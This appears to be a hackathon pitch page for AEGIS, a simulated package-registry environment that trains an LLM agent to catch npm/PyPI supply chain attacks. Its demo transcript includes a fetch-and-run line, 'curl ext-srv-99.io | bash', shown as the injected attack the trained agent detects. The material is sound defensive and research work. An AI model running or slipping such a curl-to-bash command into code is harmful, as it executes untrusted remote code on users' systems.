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THE PROBLEM

npm install

Blind Trust.

Every day, millions of developers type two words and silently download code written by strangers. No ID check. No review. No security guard. 2,000,000 packages. Zero mandatory inspection.

2M+ packages

npm and PyPI combined host over 2 million packages, updated continuously by hundreds of thousands of maintainers worldwide.

Zero automated deep review

Existing tools only check CVE lists — known, already-documented threats. Novel or patient attacks are completely invisible to them.

One package = millions hit

A single compromised package with 2 billion weekly downloads can silently infect every app, company, and server that depends on it.

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THIS IS NOT HYPOTHETICAL

Three attacks. None caught automatically.

XZ Utils · 2024

3B Linux servers · 2-year patient attack

An attacker spent two full years contributing helpfully to open-source software, building trust. He slipped in a backdoor targeting SSH on millions of servers. The only signal: a login was 500ms slower than usual. No tool caught it.

chalk + debug · Sep 2025

18 packages · 2 billion weekly downloads

A single phishing email stole npm credentials. Malicious code was injected into 18 packages — including chalk and debug, present in virtually every Node.js app on earth. Attacker targeted cryptocurrency wallets silently.

Vercel · April 2026

Next.js · 520M downloads/year

Vercel was breached through a third-party AI tool used by one employee. Stolen GitHub tokens and npm credentials could have allowed injecting malicious code into packages used by millions of apps worldwide.

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THE SOLUTION

The first AI training environment that teaches a language model to catch software supply chain attacks before they reach production — not by checking a list of known threats, but by reasoning across evidence like a world-class security engineer.

Fake but real registry

Every episode: new packages, maintainers, git history, CI pipelines, dep graphs. Nothing reused.

Investigate, don't guess

7 real tools: diff commits, trace dependencies, check SSH history. Each call costs reward — forcing precision.

Gets measurably better

GRPO reinforcement learning (same family as DeepSeek-R1) updates the model after every episode.

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TARGET USERS

Who needs AEGIS?

Primary

Enterprise Engineering Teams

Companies like Meta, Google, Vercel that run pip install / npm install thousands of times daily in CI/CD pipelines and cannot afford a compromised dependency reaching production.

Secondary

Developer Startups

Fast-moving startups shipping products rapidly and relying heavily on open-source packages — who have no dedicated security team to manually audit every dependency update.

Primary

Security & DevOps Teams

Security engineers who perform package audits manually today and need AI assistance to scale their review process without sacrificing depth or accuracy.

Platform

Package Registry Operators

PyPI, npm, and cargo maintainers who want to offer proactive security screening for all published packages — at a scale no human team can match.

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USE CASE / SCENARIO

Real scenario. Same attack. Two outcomes.

Attack injected: Maintainer account hijack + CI step injection on cryptolib v3.1.2

Episode 1 — Untrained Agent

ENV → New publish: cryptolib v3.1.2 by alice.

AGENT → Known maintainer. Minor refactoring.

No obvious issues.

VERDICT → approve_publish('cryptolib')

ATTACK MISSED

1 tool call

Score: −1.0

Episode 200+ — Trained Agent

→ check_maintainer_history('alice')

SSH key rotated 2h ago. No device match.

→ diff_commit('3.1.1','3.1.2')

Line 312: curl ext-srv-99.io | bash

→ Key rotation + curl|bash = hijack.

→ flag_quarantine('cryptolib')

QUARANTINED ✓

3 tool calls

Score: +1.3

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ARCHITECTURE / TECH STACK

Three-layer architecture. One training loop.

Layer 1 — Simulated Environment

Fake Registry (NetworkX)

Attack Injector (8 classes)

Procedural Generator

OpenEnv MCPEnvironment

↕

Layer 2 — LLM Agent

Qwen 2.5-7B (QLoRA)

FastAPI MCP Server

7 Investigation Tools

Reward Engine (GRPO)

↕

Layer 3 — Training Infrastructure

HuggingFace TRL + GRPO

Unsloth (4-bit QLoRA)

wandb (reward curves)

HF Spaces (live demo)

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KEY FEATURES

What the agent can do.

Account Hijack Detection

Notices SSH key rotation hours before a suspicious publish — temporal reasoning across maintainer history.

Deep Graph Traversal

Traces dependency trees 3+ hops deep using NetworkX — finds attacks invisible to surface-level diffs.

CI Config Reading

Scans 400-line GitHub Actions YAML files and flags curl|bash commands buried deep in release workflows.

Typosquat + Decay

Detects packages with 18 months of innocent history that turn malicious only in their latest version.

Base64 Decode & Parse

Decodes obfuscated subprocess calls in setup.py and understands their execution context (Linux + CI).

Calibrated Trust

Confidently approves legitimate-but-suspicious packages — the false-quarantine penalty forces precision.

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INNOVATION / USP

Why AEGIS wins — the honest argument.

Zero prior art at this layer

CybORG, CAGE, PenGym — every prior security RL environment works at the network layer. Not one touches the package registry layer. AEGIS is the first. That's a research contribution, not a feature.

False-quarantine penalty is the IP

No prior security RL work penalises over-flagging as hard as under-flagging. This forces calibrated trust — not paranoia. An agent that flags everything is useless in production.

Only an LLM can play this well

A rule-based agent cannot read a CI YAML, decode base64, and connect it to an SSH key rotation timeline. This environment genuinely requires language model reasoning.

Same family as DeepSeek-R1

GRPO reinforcement learning — no separate critic model. The agent learns by comparing its own outcomes across multiple attempts, developing genuine investigative instinct.

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WORKING

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FEASIBILITY / IMPLEMENTATION

Built and running in 48 hours.

10h

Fake registry + attack injector

NetworkX dep graph + procedural generator. Core engine. 8 attack classes.

FastAPI MCP tool server

7 endpoints: diff, trace, check history, read CI, approve, quarantine.

OpenEnv environment class

Standard reset/step/reward interface. MCPEnvironment boilerplate.

GRPO training loop (Colab)

HF TRL GRPO + Unsloth QLoRA on Qwen2.5-7B. GPU in Colab.

wandb logging + reward curves

Per-class accuracy, FP/FN rates, tool-call efficiency, live dashboard.

HF Spaces + README

Live playground for judges. Side-by-side transcript demo. All materials linked.

Bonus

Curriculum scheduler

Difficulty tiers unlock as agent masters easier attacks — better reward curve.

MVP Strategy

One working attack class end-to-end with a visible reward curve beats eight half-built ones every time.

Start: maintainer hijack only.

Then layer 2–3 more attack classes before demo.

Clean wandb curve = strongest proof.

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IMPACT — SOCIAL & BUSINESS

The numbers that matter.

+61%

attack detection

vs. zero-shot baseline

−44%

false quarantine

rate reduced

−0.8 →+0.71

avg episode

reward shift

3.2→1.8

tool calls

to verdict

SOCIAL

Every developer, every startup, every open-source contributor is safer. Software supply chains underpin global healthcare, banking, and infrastructure. AEGIS protects the invisible layer everyone depends on.

BUSINESS

Average cost of a supply chain breach: $4.5M+. AEGIS runs as a CI gate — blocking attacks before production at machine speed. Enterprises save millions. Security teams scale without headcount.

ECOSYSTEM

PyPI, npm, and cargo serve billions of installs per month. Integrating AEGIS at the registry level — as a screening layer — protects every downstream project automatically.

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BUSINESS MODEL

How AEGIS creates sustainable value.

Open Source

Free

✓ Core env on HuggingFace

✓ Trained model weights

✓ Community contributions

✓ 8 attack classes

Enterprise API

$2–5K/mo

✓ Live PyPI/npm feed integration

✓ CI/CD gate (GitHub Actions)

✓ Custom attack class training

✓ Audit-ready SLSA attestations

Registry Partner

Revenue share

✓ White-label for PyPI/npm/cargo

✓ At-publish screening at scale

✓ Dashboard for registry ops

✓ SLA + support

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CHALLENGES & LEARNINGS

What we discovered building AEGIS.

Challenge

Reward shaping was hard

Initial flat reward (correct = +1, wrong = -1) produced an agent that flagged everything. The false-quarantine penalty took three iterations to calibrate — too high and the agent became timid; too low and it stayed paranoid.

Challenge

Generating believable fake history

Early fake registries were too obviously synthetic — the agent learned shortcuts (e.g. "all maintainers with < 10 commits are attackers"). Adding realistic procedural generation eliminated these spurious heuristics.

Learning

The clean decoy class is essential

Without the README-only decoy episode, the agent optimised purely for sensitivity and flagged 80%+ of packages. Adding it forced the model to develop genuine discrimination — the single biggest improvement to false-positive rate.

Learning

Curriculum learning unlocks richer results

Flat sampling made the reward curve noisy and uninformative. Tiered difficulty unlocking (Tier 1 → 2 → 3 by accuracy threshold) produced three clean S-curve improvements — a much more compelling wandb story.

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FUTURE SCOPE

What comes after the hackathon.

Phase 2

Red team loop

A second LLM generates novel attack variants to fool the defender. Co-evolutionary training — the attacker adapts, the defender adapts. Genuinely publishable.

Phase 2

Live PyPI feed

Subscribe to real PyPI/npm webhooks. Run trained agent on every real publish as live inference. Flag suspicious packages for human review.

Phase 3

npm + cargo support

Same agent architecture, new registry generators. Test whether the model generalises across ecosystems — a powerful research result.

Phase 3

Multi-agent debate

Two agents argue prosecution vs defence before a joint verdict. Reduces overconfidence, increases auditability — critical for enterprise trust.

Phase 4

SLSA attestations

Agent outputs machine-readable verdicts with evidence hashes. Plugs directly into enterprise CI/CD pipelines as an auditable security gate.